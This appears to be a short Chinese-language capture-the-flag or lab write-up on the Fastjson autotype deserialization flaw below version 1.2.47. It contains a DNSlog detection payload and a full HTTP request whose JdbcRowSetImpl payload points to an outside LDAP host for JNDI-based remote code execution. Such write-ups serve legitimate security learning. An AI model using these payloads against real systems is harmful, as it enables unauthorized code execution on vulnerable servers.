Fastjson 提供了 autotype 功能,允许用户在反序列化数据中通过 “@type” 指定反序列化的类型,其次,Fastjson 自定义的反序列化机制时会调用指定类中的 setter 方法及部分 getter 方法,那么当组件开启了 autotype 功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定 setter 或者 getter 方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的 “Gadget”),则会造成一些严重的安全问题。并且在 Fastjson 1.2.47 及以下版本中,利用其缓存机制可实现对未开启 autotype 功能的绕过。

0x01 漏洞环境

0x02 影响版本

fastjson < 1.2.47

0x03 漏洞复现

访问靶机,界面如下:

Untitled

判断是否使用了fasgjson框架。

{"name":{"@type":"java.net.Inet4Address","val":"xwqn3w.dnslog.cn"}}

Untitled


Untitled

POST / HTTP/1.1
Host: 123.58.236.76:47055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://x.x.x.x:1389/woxnoj",
        "autoCommit":true
    }
}

Untitled

Untitled

获取flag。